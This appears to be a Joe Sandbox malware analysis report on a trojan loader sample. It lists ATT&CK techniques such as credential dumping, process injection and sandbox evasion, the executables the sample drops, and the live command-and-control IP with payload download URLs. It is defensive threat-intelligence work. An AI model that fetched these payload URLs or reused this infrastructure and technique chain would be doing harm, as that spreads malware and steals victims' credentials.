Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	311 Process Injection	2 Obfuscated Files or Information	LSASS Memory	113 System Information Discovery	Remote Desktop Protocol	3 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	431 Security Software Discovery	Distributed Component Object Model	Input Capture	11 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	13 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6RE1Z857ae.exe	46%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
6RE1Z857ae.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\build.exe	100%	Avira	HEUR/AGEN.1305500
C:\Users\user\AppData\Local\Temp\build.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	42%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Local\Temp\build.exe	96%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	46%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
C:\Users\user\AppData\Roaming\Yftssfzf.exe	42%	ReversingLabs	Win32.Trojan.CrypterX

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://87.120.127.223:42128/	true	unknown
http://87.120.127.223/panel/uploads/Fdzqloat.dat	true	unknown
http://87.120.127.223/panel/uploads/Mexuazc.pdf	true	unknown
87.120.127.223:42128	true	unknown
http://87.120.127.223/panel/uploads/Afocvkc.dat	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://tempuri.org/Endpoint/EnvironmentSettings	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://api.ip.sb/geoip	build.exe, 00000005.00000002.2297222568.0000000002EB0000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://github.com/testdemo345/DemoThing/raw/main/WebDriver.dll	InstallUtil.exe, 0000001C.00000002.3336187840.00000000027EF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/soap/envelope/	build.exe, 00000020.00000002.2562427067.000000000285E000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://87.120.127.223:42128	build.exe, 00000005.00000002.2297222568.0000000003139000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000005.00000002.2297222568.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000029D3000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000028E1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://87.120.127.223	6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2200075631.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002421000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.000000000291C000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.0000000002771000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024BC000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://tempuri.org/	build.exe, 00000020.00000002.2562427067.000000000285E000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://tempuri.org/Endpoint/SetEnvironment	build.exe, 00000020.00000002.2562427067.00000000028E1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://github.com/testdemo345/DemoThing/raw/main/msedgedriver.exe	InstallUtil.exe, 0000001C.00000002.3336187840.00000000027EF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://tempuri.org/Endpoint/GetUpdates	build.exe, 00000020.00000002.2562427067.00000000029D3000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://api.ipify.orgcookies//settinString.Removeg	6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, build.exe.0.dr	true		unknown
https://github.com/mgravell/protobuf-neti	6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://stackoverflow.com/q/11564914/23354;	6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.3336187840.00000000027EF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://tempuri.org/0	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2200075631.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002421000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.000000000291C000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.0000000002771000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024BC000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://87.120.127.223/panel/uploads/Fdzqloat.datDlqwnBdAyJijQFT5TpQxeg==	InstallUtil.exe, 00000007.00000002.2200075631.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.0000000003091000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://ipinfo.io/ip%appdata%	6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, build.exe.0.dr	true		unknown
https://stackoverflow.com/q/14436606/23354	6RE1Z857ae.exe, 00000000.00000002.2197191438.0000000003010000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 0000000C.00000002.2373598901.0000000002450000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Adobe_Install_Updater.exe, 00000014.00000002.2464667993.0000000002940000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000001C.00000002.3336187840.00000000027EF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 00000036.00000002.2775307801.00000000027A0000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe, 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://schemas.datacontract.org/2004/07/	build.exe, 00000005.00000002.2297222568.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000028E1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp, build.exe.0.dr	true		unknown
https://api.ip.sb	build.exe, 00000005.00000002.2297222568.0000000002EB0000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://87.120.127.223/panel/uploads/Afocvkc.dat14gVNVhOOothvqc7HvzpSSA==	6RE1Z857ae.exe, Adobe_Install_Updater.exe.0.dr	true		unknown
https://github.com/mgravell/protobuf-net	6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
http://87.120.127.223/panel/uploads/Mexuazc.pdf1x7SF	InstallUtil.exe, 00000010.00000002.2441230781.0000000003324000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2441230781.000000000330A000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2540044072.000000000317A000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000000.2382985016.0000000000C62000.00000002.00000001.01000000.0000000A.sdmp, Plain_Checker.exe, 0000001B.00000002.2612758355.0000000006B00000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003060000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000022.00000002.2558260556.0000000003077000.00000004.00000800.00020000.00000000.sdmp, Yftssfzf.exe.27.dr, Plain_Checker.exe.16.dr	true		unknown
https://github.com/testdemo345/DemoThing/raw/main/chromedriver.exe	InstallUtil.exe, 0000001C.00000002.3336187840.00000000027EF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354rCannot	InstallUtil.exe, 0000001C.00000002.3336187840.00000000027EF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://stackoverflow.com/q/2152978/23354	6RE1Z857ae.exe, 00000000.00000002.2215032852.0000000006B10000.00000004.08000000.00040000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004296000.00000004.00000800.00020000.00000000.sdmp, 6RE1Z857ae.exe, 00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000010.00000002.2481916995.0000000004099000.00000004.00000800.00020000.00000000.sdmp, Plain_Checker.exe, 0000001B.00000002.2568610172.0000000004021000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.0000000002809000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpF6D0.tmp.32.dr, tmp2BA1.tmp.32.dr, tmp5F65.tmp.32.dr, tmpCFDB.tmp.5.dr, tmp9CE0.tmp.5.dr, tmp68F9.tmp.5.dr, tmpF6BF.tmp.32.dr, tmp5FB4.tmp.32.dr, tmp9CAF.tmp.5.dr, tmp930A.tmp.32.dr, tmp68CA.tmp.5.dr, tmp2B51.tmp.32.dr, tmp690A.tmp.5.dr, tmp9CCF.tmp.5.dr, tmp34E7.tmp.5.dr, tmpF701.tmp.32.dr, tmp9CAE.tmp.5.dr, tmp5F55.tmp.32.dr, tmp9D00.tmp.5.dr, tmp9D11.tmp.5.dr, tmpF6F0.tmp.32.dr	true	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	build.exe, 00000005.00000002.2297222568.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000020.00000002.2562427067.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
87.120.127.223	unknown	Bulgaria		25206	UNACS-AS-BG8000BurgasBG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1534363
Start date and time:	2024-10-15 19:21:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
